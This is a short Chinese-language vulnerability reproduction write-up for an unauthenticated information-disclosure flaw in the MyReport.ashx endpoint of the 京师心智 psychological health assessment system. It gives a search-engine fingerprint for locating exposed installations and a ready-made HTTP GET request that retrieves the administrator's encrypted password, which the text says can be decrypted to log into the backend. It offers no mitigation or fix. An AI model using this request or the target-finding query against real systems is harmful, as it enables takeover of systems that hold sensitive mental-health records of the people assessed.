# 5、京师心智心理健康测评系统 MyReport.ashx 信息泄露漏洞复现



### 漏洞简介

京师心智心理健康测评系统由心理学专家指导研发，使用先进的测试方法，通过一系列的数据处理将人的心理特征数量化，以此来衡量个体心理因素水平以及心理差异，帮助开展标准化心理健康工作。京师心智心理健康测评系统 MyReport.ashx接口存在信息泄露漏洞，未经身份验证的攻击者可以利用此漏洞获取系统后台管理员账户密码凭证，并且解密后可登录后台页面，使系统处于极不安全的状态。

### 漏洞复现

步骤一：使用以下搜索语法获取测试资产并确定测试目标

body="JS/ligerComboBox/ligerTree.js"

步骤二：使用以下数据包获取目标网站的用户与密码信息.....可获取密码的加密值信息

GET /FunctionModular/PersonalReport/Ajax/MyReport.ashx?type=3&loginName=admin HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0  
Accept: text/html, image/gif, image/jpeg, \*; q=.2, \*/\*; q=.2

